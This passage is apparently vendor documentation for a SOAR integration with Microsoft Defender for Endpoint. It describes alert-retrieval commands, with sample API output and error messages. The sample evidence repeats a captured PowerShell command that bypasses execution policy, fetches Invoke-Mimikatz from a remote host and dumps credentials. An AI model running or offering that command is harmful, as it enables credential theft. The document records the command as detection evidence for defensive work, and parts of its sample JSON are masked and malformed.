        "mitreTechniques": [
            "***.***"
        ],
        "relatedUser": {
            "userName": "***",
            "domainName": "***"
        },
        "comments": [
            {
                "comment": "Eddie_Test",
                "createdBy": "Automation",
                "createdTime": "2021-04-19T22:03:52.0639327Z"
            }
        ],
        "evidence": [
            {
                "entityType": "User",
                "evidenceCreationTime": "2021-04-10T00:09:06.58Z",
                "sha1": *******,
                "sha256": *******,
                "fileName": *****,
                "filePath": *******,
                "processId": *****,
                "processCommandLine": null,
                "processCreationTime": null,
                "parentProcessId": *******,
                "parentProcessCreationTime": null,
                "parentProcessFileName": *******,
                "parentProcessFilePath": *******,
                "ipAddress": *******,
                "url": null,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": ***,
                "registryValue": ***,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": *******,
                "userPrincipalName": ***,
                "detectionStatus": null
            },
            {
                "entityType": "Process",
                "evidenceCreationTime": "2021-04-10T00:09:06.58Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Windows\\***\\***\\v*.*",
                "processId": 1856,
                "processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\out2.txt",
                "processCreationTime": "2021-04-09T23:50:46.9640874Z",
                "parentProcessId": 11424,
                "parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
                "parentProcessFileName": "***.exe",
                "parentProcessFilePath": "C:\\Users\\***\\***",
                "ipAddress": null,
                "url": null,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": ***,
                "registryValue": ***,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": *******,
                "userPrincipalName": ***,
                "detectionStatus": "Detected"
            }
        ]
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Alert Ids": [
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

INCIDENTID

***

INVESTIGATIONID

ASSIGNEDTO

Administrator

SEVERITY

Medium

STATUS

New

CLASSIFICATION

DETERMINATION

INVESTIGATIONSTATE

UnsupportedAlertType

DETECTIONSOURCE

WindowsDefenderAtp

DETECTORID

***

CATEGORY

Execution

THREATFAMILYNAME

TITLE

Suspicious PowerShell command line

DESCRIPTION

A suspicious PowerShell activity was observed on the machine.
This behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

ALERTCREATIONTIME

4/10/2021 12:09:06 AM

FIRSTEVENTTIME

4/9/2021 11:50:47 PM

LASTEVENTTIME

4/9/2021 11:50:47 PM

LASTUPDATETIME

4/19/2021 10:03:52 PM

RESOLVEDTIME

MACHINEID

***

COMPUTERDNSNAME

***

RBACGROUPNAME

AADTENANTID

***

THREATNAME

MITRETECHNIQUES

[
"***.***"
]

RELATEDUSER

{
"userName": "Administrator",
"domainName": "SYSINT-PC"
}

COMMENTS

[
{
"comment": "Eddie_Test",
"createdBy": "Automation",
"createdTime": "2021-04-19T22:03:52.0639327Z"
}
]

EVIDENCE

[

{

"entityType": "User",

"evidenceCreationTime": "2021-04-10T00:09:06.58Z",

"sha1": "***",

"sha256": "***",

"fileName": "***",

"filePath": "***",

"processId": "***",

"processCommandLine": null,

"processCreationTime": null,

"parentProcessId": "***",

"parentProcessCreationTime": null,

"parentProcessFileName": "***",

"parentProcessFilePath": "***",

"ipAddress": "***",

"url": null,

"registryKey": "***",

"registryHive": "***",

"registryValueType": "***",

"registryValue": "***",

"accountName": "***",

"domainName": "***",

"userSid": "***",

"aadUserId": "***",

"userPrincipalName": "***",

"detectionStatus": null

},

{

"entityType": "Process",

"evidenceCreationTime": "2021-04-10T00:09:06.58Z",

"sha1": "***",

"sha256": "***",

"fileName": "***.exe",

"filePath": "C:\\Windows\\System32\\***",

"processId": "***",

"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/***.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\***.txt",

"processCreationTime": "2021-04-09T23:50:46.9640874Z",

"parentProcessId": 11424,

"parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",

"parentProcessFileName": "***.exe",

"parentProcessFilePath": "C:\\Users\\***",

"ipAddress": "***",

"url": null,

"registryKey": "***",

"registryHive": "***",

"registryValueType": "***",

"registryValue": "***",

"accountName": "***",

"domainName": "***",

"userSid": "***",

"aadUserId": "***",

"userPrincipalName": "***",

"detectionStatus": "Detected"

}

]

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Fetch Related Events failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The query specified in the URI is not valid

Error Sample Data

Fetch Related Events failed.

Status Code: 400.

Message: The query specified in the URI is not valid.

Get Alerts By ID

Retrieves alerts from Microsoft Defender for Endpoint based on the specified Alert IDs.

READER NOTE

  • Limitations for this command:

    • You can get alerts last updated according to your configured retention period.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get alert information by ID API from Microsoft’s documentation for more details.

  • The parameter Alert IDs is required to run this command.

    • Run the Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Related Event command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.

Input

Input Parameter

Required /Optional

Description

Example

Alert IDs

Required

The IDs of the alerts to retrieve. Alert IDs can be obtained using the Fetch Related Events command.

["*****"]

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "incidentId": ***,
        "investigationId": ***,
        "assignedTo": null,
        "severity": "Low",
        "status": "New",
        "classification": null,
        "determination": null,
        "investigationState": "Queued",
        "detectionSource": "WindowsDefenderAtp",
        "detectorId": "*****",
        "category": "Discovery",
        "threatFamilyName": null,
        "title": "Suspicious sequence of exploration activities",
        "description": "A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine.",
        "alertCreationTime": "2021-08-12T00:09:19.0458181Z",
        "firstEventTime": "2021-08-12T00:05:29.7353744Z",
        "lastEventTime": "2021-08-12T00:06:28.6476223Z",
        "lastUpdateTime": "2021-08-12T00:09:19.5133333Z",
        "resolvedTime": null,
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "rbacGroupName": null,
        "aadTenantId": "*****",
        "threatName": null,
        "mitreTechniques": [
            "***",
            "***",
            "***"
        ],
        "relatedUser": {
            "userName": "***",
            "domainName": "***"
        },
        "comments": [],
        "evidence": [
            {
                "entityType": "Process",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Windows",
                "processId": ***,
                "processCommandLine": "***.EXE",
                "processCreationTime": "2021-08-11T19:05:17.9960744Z",
                "parentProcessId": ***,
                "parentProcessCreationTime": "2021-08-11T19:05:17.7445489Z",
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": "Detected"
            },
            {
                "entityType": "Process",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\***\\***\\***\\v*.*",
                "processId": ***,
                "processCommandLine": "\"***.exe\" ",
                "processCreationTime": "2021-08-12T00:05:29.4686411Z",
                "parentProcessId": *****,
                "parentProcessCreationTime": "2021-08-11T19:05:17.9960744Z",
                "parentProcessFileName": "***.exe",
                "parentProcessFilePath": "C:\\Windows",
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": "Detected"
            },
            {
                "entityType": "User",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\***\\***\\***\\v*.*",
                "processId": ***,
                "processCommandLine": null,
                "processCreationTime": null,
                "parentProcessId": null,
                "parentProcessCreationTime": null,
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": null
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 enriches the context data from the original Microsoft Defender for Endpoint API response by adding the mitreTechniqueList field whose value is a string converted from the mitreTechniques array using the comma character as a delimiter.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "incidentId": ***,
        "investigationId": ***,
        "assignedTo": null,
        "severity": "Low",
        "status": "New",
        "classification": null,
        "determination": null,
        "investigationState": "Queued",
        "detectionSource": "WindowsDefenderAtp",
        "detectorId": "*****",
        "category": "Discovery",
        "threatFamilyName": null,
        "title": "Suspicious sequence of exploration activities",
        "description": "A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine.",
        "alertCreationTime": "2021-08-12T00:09:19.0458181Z",
        "firstEventTime": "2021-08-12T00:05:29.7353744Z",
        "lastEventTime": "2021-08-12T00:06:28.6476223Z",
        "lastUpdateTime": "2021-08-12T00:09:19.5133333Z",
        "resolvedTime": null,
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "rbacGroupName": null,
        "aadTenantId": "*****",
        "threatName": null,
        "mitreTechniques": [
            "***",
            "***",
            "***"
        ],
        "relatedUser": {
            "userName": "***",
            "domainName": "***"
        },
        "comments": [],
        "evidence": [
            {
                "entityType": "Process",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Windows",
                "processId": ***,
                "processCommandLine": "***.EXE",
                "processCreationTime": "2021-08-11T19:05:17.9960744Z",
                "parentProcessId": *****,
                "parentProcessCreationTime": "2021-08-11T19:05:17.7445489Z",
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": "Detected"
            },
            {
                "entityType": "Process",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Windows\\***\\***\\***",
                "processId": ***,
                "processCommandLine": "\"***.exe\" ",
                "processCreationTime": "2021-08-12T00:05:29.4686411Z",
                "parentProcessId": *****,
                "parentProcessCreationTime": "2021-08-11T19:05:17.9960744Z",
                "parentProcessFileName": "***.exe",
                "parentProcessFilePath": "C:\\Windows",
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": "Detected"
            },
            {
                "entityType": "User",
                "evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Windows\\***\\***\\***",
                "processId": ***,
                "processCommandLine": "\"***.exe\" ",
                "processCreationTime": null,
                "parentProcessId": null,
                "parentProcessCreationTime": null,
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": null
            }
        ]
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "AlertIDs": [
        "*****"
    ],
    "Severities": [
        "Low"
    ],
    "Statuses": [
        "New"
    ],
    "DetectionSources": [
        "WindowsDefenderAtp"
    ],
    "Categories": [
        "Discovery"
    ],
    "Titles": [
        "Suspicious sequence of exploration activities"
    ],
    "Descriptions": [
        "A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine."
    ],
    "AlertCreationTime": [
        "2021-08-12 00:09:19"
    ],
    "FirstEventTime": [
        "2021-08-12 00:05:29"
    ],
    "LastEventTime": [
        "2021-08-12 00:06:28"
    ],
    "MachineIDs": [
        "*****"
    ],
    "ComputerDnsNames": [
        "***.***.***"
    ],
    "UserNames": [
        "user1"
    ],
    "UserDomainNames": [
        "*****"
    ],
    "ThreatNames": [
        "None"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/*****

id

*****

incidentId

*****

investigationId

assignedTo

severity

Low

status

New

classification

determination

investigationState

Queued

detectionSource

WindowsDefenderAtp

detectorId

*****

category

Discovery

threatFamilyName

title

Suspicious sequence of exploration activities

description

A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine.

alertCreationTime

8/12/2021 12:09:19 AM

firstEventTime

8/12/2021 12:05:29 AM

lastEventTime

8/12/2021 12:06:28 AM

lastUpdateTime

8/12/2021 12:09:19 AM

resolvedTime

machineId

*****

computerDnsName

d3cyber7ce.d3cyber7.local

rbacGroupName

aadTenantId

*****

threatName

mitreTechniques

[
"T1010",
"T1016",
"T1018",
"T1049",
"T1059.001",
"T1087",
"T1135",
"T1518"
]

relatedUser

{
"userName": "user1",
"domainName": "D3CYBER7"
}

comments

[]

evidence

[
{
"entityType": "Process",
"evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
"sha1": "*****",
"sha256": "*****",
"fileName": "explorer.exe",
"filePath": "C:\\Windows",
"processId": *****,
"processCommandLine": "Explorer.EXE",
"processCreationTime": "2021-08-11T19:05:17.9960744Z",
"parentProcessId": *****,
"parentProcessCreationTime": "2021-08-11T19:05:17.7445489Z",
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": null,
"url": null,
"registryKey": null,
"registryHive": null,
"registryValueType": null,
"registryValue": null,
"accountName": "user1",
"domainName": "D3CYBER7",
"userSid": "*****",
"aadUserId": null,
"userPrincipalName": "*****@*****.***",
"detectionStatus": "Detected"
},
{
"entityType": "Process",
"evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
"sha1": "*****",
"sha256": "*****",
"fileName": "powershell.exe",
"filePath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0",
"processId": 2376,
"processCommandLine": "\"powershell.exe\" ",
"processCreationTime": "2021-08-12T00:05:29.4686411Z",
"parentProcessId": *****,
"parentProcessCreationTime": "2021-08-11T19:05:17.9960744Z",
"parentProcessFileName": "explorer.exe",
"parentProcessFilePath": "C:\\Windows",
"ipAddress": null,
"url": null,
"registryKey": null,
"registryHive": null,
"registryValueType": null,
"registryValue": null,
"accountName": "user1",
"domainName": "D3CYBER7",
"userSid": "*****",
"aadUserId": null,
"userPrincipalName": "*****@*****.***",
"detectionStatus": "Detected"
},
{
"entityType": "User",
"evidenceCreationTime": "2021-08-12T00:09:19.2133333Z",
"sha1": null,
"sha256": null,
"fileName": null,
"filePath": null,
"processId": null,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": null,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": null,
"url": null,
"registryKey": null,
"registryHive": null,
"registryValueType": null,
"registryValue": null,
"accountName": "user1",
"domainName": "D3CYBER7",
"userSid": "*****",
"aadUserId": null,
"userPrincipalName": "*****@*****.***",
"detectionStatus": null
}
]

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Alerts By ID failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.

Error Sample Data

Get Alerts By ID failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.

Get File Related Alerts

Retrieves alerts from Microsoft Defender for Endpoint related to the specified file hashes.

READER NOTE

  • The parameter File Hashes is required to run this command.

    • You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.

  • Limitations for this command:

    • Rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).

  • See Get file-related alerts API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

File Hashes

Required

The file hashes to search related alerts by. Note: Only SHA-1 file hashes are supported.

["*****"]

Output

Raw Data

The primary response data from the API request.

D3 enriches the raw data from the original Microsoft Defender for Endpoint API response by adding the fileHash field to indicate your input File Hash.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "incidentId": ***,
                "investigationId": ***,
                "assignedTo": "Automation",
                "severity": "Informational",
                "status": "Resolved",
                "classification": null,
                "determination": null,
                "investigationState": "SuccessfullyRemediated",
                "detectionSource": "WindowsDefenderAv",
                "detectorId": "*****",
                "category": "Malware",
                "threatFamilyName": "Skeeyah",
                "title": "'Skeeyah' malware was prevented",
                "description": "Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.",
                "alertCreationTime": "2021-06-03T01:18:07.9677394Z",
                "firstEventTime": "2021-06-03T00:10:50.6508615Z",
                "lastEventTime": "2021-06-03T01:18:47.5046367Z",
                "lastUpdateTime": "2021-06-03T07:03:34.3866667Z",
                "resolvedTime": "2021-06-03T01:47:10.6966922Z",
                "machineId": "*****",
                "computerDnsName": "***.***.***",
                "rbacGroupName": null,
                "aadTenantId": "*****",
                "threatName": "Trojan:Win32/Skeeyah!MTB",
                "mitreTechniques": [],
                "relatedUser": null,
                "comments": [],
                "evidence": [
                    {
                        "entityType": "File",
                        "evidenceCreationTime": "2021-06-03T01:34:25.3033333Z",
                        "sha1": "*****",
                        "sha256": "*****",
                        "fileName": "atomic-red-team-master.zip",
                        "filePath": "C:\\Users\\***\\***",
                        "processId": null,
                        "processCommandLine": null,
                        "processCreationTime": null,
                        "parentProcessId": null,
                        "parentProcessCreationTime": null,
                        "parentProcessFileName": null,
                        "parentProcessFilePath": null,
                        "ipAddress": ***,
                        "url": ***,
                        "registryKey": ***,
                        "registryHive": ***,
                        "registryValueType": null,
                        "registryValue": null,
                        "accountName": "***",
                        "domainName": "***",
                        "userSid": "*****",
                        "aadUserId": ***,
                        "userPrincipalName": "***@***.***",
                        "detectionStatus": "Prevented"
                    },
                    {
                        "entityType": "File",
                        "evidenceCreationTime": "2021-06-03T01:31:35.3266667Z",
                        "sha1": "*****",
                        "sha256": *******,
                        "fileName": "***.exe",
                        "filePath": "C:\\Users\\***\\***\\***\\***\\***\\***.***\\***",
                        "processId": null,
                        "processCommandLine": null,
                        "processCreationTime": null,
                        "parentProcessId": null,
                        "parentProcessCreationTime": null,
                        "parentProcessFileName": null,
                        "parentProcessFilePath": null,
                        "ipAddress": ***,
                        "url": ***,
                        "registryKey": ***,
                        "registryHive": ***,
                        "registryValueType": null,
                        "registryValue": null,
                        "accountName": "***",
                        "domainName": "***",
                        "userSid": "*****",
                        "aadUserId": ***,
                        "userPrincipalName": "***@***.***",
                        "detectionStatus": "Detected"
                    },
                    {
                        "entityType": "File",
                        "evidenceCreationTime": "2021-06-03T01:18:08.05Z",
                        "sha1": ""*****",",
                        "sha256": ""*****",",
                        "fileName": "***.exe",
                        "filePath": "C:\\Users\\***\\***\\***\\***.***\\***",
                        "processId": ***,
                        "processCommandLine": null,
                        "processCreationTime": null,
                        "parentProcessId": null,
                        "parentProcessCreationTime": null,
                        "parentProcessFileName": null,
                        "parentProcessFilePath": null,
                        "ipAddress": ***,
                        "url": ***,
                        "registryKey": ***,
                        "registryHive": ***,
                        "registryValueType": null,
                        "registryValue": null,
                        "accountName": "***",
                        "domainName": "***",
                        "userSid": "*****",
                        "aadUserId": ***,
                        "userPrincipalName": "***@***.***",
                        "detectionStatus": "Prevented"
                    },
                    {
                        "entityType": "File",
                        "evidenceCreationTime": "2021-06-03T01:20:49.8633333Z",
                        "sha1": "61c62a7d01cd57d259a12d7cea51f67f15138062",
                        "sha256": "6672624de156dd69f77da2bbe17f6f41477ff6f0d9dbe36a08ca06388566deca",
                        "fileName": "atomic-red-team-master.zip",
                        "filePath": "C:\\Users\\d3soar\\Desktop",
                        "processId": null,
                        "processCommandLine": null,
                        "processCreationTime": null,
                        "parentProcessId": null,
                        "parentProcessCreationTime": null,
                        "parentProcessFileName": null,
                        "parentProcessFilePath": null,
                        "ipAddress": ***,
                        "url": ***,
                        "registryKey": ***,
                        "registryHive": ***,
                        "registryValueType": null,
                        "registryValue": null,
                        "accountName": "***",
                        "domainName": "***",
                        "userSid": "*****",
                        "aadUserId": ***,
                        "userPrincipalName": "***@***.***",
                        "detectionStatus": "Prevented"
                    }
                ],
                "fileHash": "*****"
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "incidentId": ***,
        "investigationId": ***,
        "assignedTo": "Automation",
        "severity": "Informational",
        "status": "Resolved",
        "classification": null,
        "determination": null,
        "investigationState": "SuccessfullyRemediated",
        "detectionSource": "WindowsDefenderAv",
        "detectorId": "*****",
        "category": "Malware",
        "threatFamilyName": "Skeeyah",
        "title": "'Skeeyah' malware was prevented",
        "description": "Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.",
        "alertCreationTime": "2021-06-03T01:18:07.9677394Z",
        "firstEventTime": "2021-06-03T00:10:50.6508615Z",
        "lastEventTime": "2021-06-03T01:18:47.5046367Z",
        "lastUpdateTime": "2021-06-03T07:03:34.3866667Z",
        "resolvedTime": "2021-06-03T01:47:10.6966922Z",
        "machineId": "*****",
        "computerDnsName": "***-***.***.***",
        "rbacGroupName": null,
        "aadTenantId": "*****",
        "threatName": "Trojan:Win32/Skeeyah!MTB",
        "mitreTechniques": [],
        "relatedUser": null,
        "comments": [],
        "evidence": [
            {
                "entityType": "File",
                "evidenceCreationTime": "2021-06-03T01:34:25.3033333Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.zip",
                "filePath": "C:\\Users\\***\\***",
                "processId": *****,
                "processCommandLine": null,
                "processCreationTime": null,
                "parentProcessId": *****,
                "parentProcessCreationTime": null,
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
		        "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***,
                "detectionStatus": "Prevented"
            },
            {
                "entityType": "File",
                "evidenceCreationTime": "2021-06-03T01:31:35.3266667Z",
                "sha1": "*****",
                "sha256": null,
                "fileName": "T1055.exe",
                "filePath": "C:\\Users\\***\\***\\***\\***\\***\\***",
                "processId": *****,
                "processCommandLine": null,
                "processCreationTime": null,
                "parentProcessId": *****,
                "parentProcessCreationTime": null,
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
	             	"ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": "***",
                "domainName": "***",
                "userSid": "*****",
                "aadUserId": null,
                "userPrincipalName": "***@***.***",
                "detectionStatus": "Detected"
            },
            {
                "entityType": "File",
                "evidenceCreationTime": "2021-06-03T01:18:08.05Z",
                "sha1": "*****",
                "sha256": "*****",
                "fileName": "***.exe",
                "filePath": "C:\\Users\\***\\***\\***",
                "processId": *****,
                "processCommandLine": null,
                "processCreationTime": null,
                "parentProcessId": null,
                "parentProcessCreationTime": null,
                "parentProcessFileName": null,
                "parentProcessFilePath": null,
                "ipAddress": ***,
                "url": ***,
                "registryKey": ***,
                "registryHive": ***,
                "registryValueType": null,
                "registryValue": null,
                "accountName": ***,
                "domainName": ***,
                "userSid": ***,
                "aadUserId": ***,
                "userPrincipalName": ***,
                "detectionStatus": "Prevented"
            }
        ],
        "fileHash": "*****"
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "AlertIDs": [
        "*****"
    ],
    "Severities": [
        "Informational"
    ],
    "Statuses": [
        "Resolved"
    ],
    "DetectionSources": [
        "WindowsDefenderAv"
    ],
    "Categories": [
        "Malware"
    ],
    "Titles": [
        "'Skeeyah' malware was prevented"
    ],
    "Descriptions": [
        "Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection."
    ],
    "AlertCreationTime": [
        "2021-06-03 01:18:07"
    ],
    "FirstEventTime": [
        "2021-06-03 00:10:50"
    ],
    "LastEventTime": [
        "2021-06-03 01:18:47"
    ],
    "MachineIDs": "\"*******\"]",
    "ComputerDnsNames": [
        "***.***.***"
    ],
    "UserNames": [],
    "UserDomainNames": [],
    "ThreatNames": [
        "Trojan:Win32/Skeeyah!MTB"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

INCIDENTID

***

INVESTIGATIONID

***

ASSIGNEDTO

Automation

SEVERITY

Informational

STATUS

Resolved

CLASSIFICATION

DETERMINATION

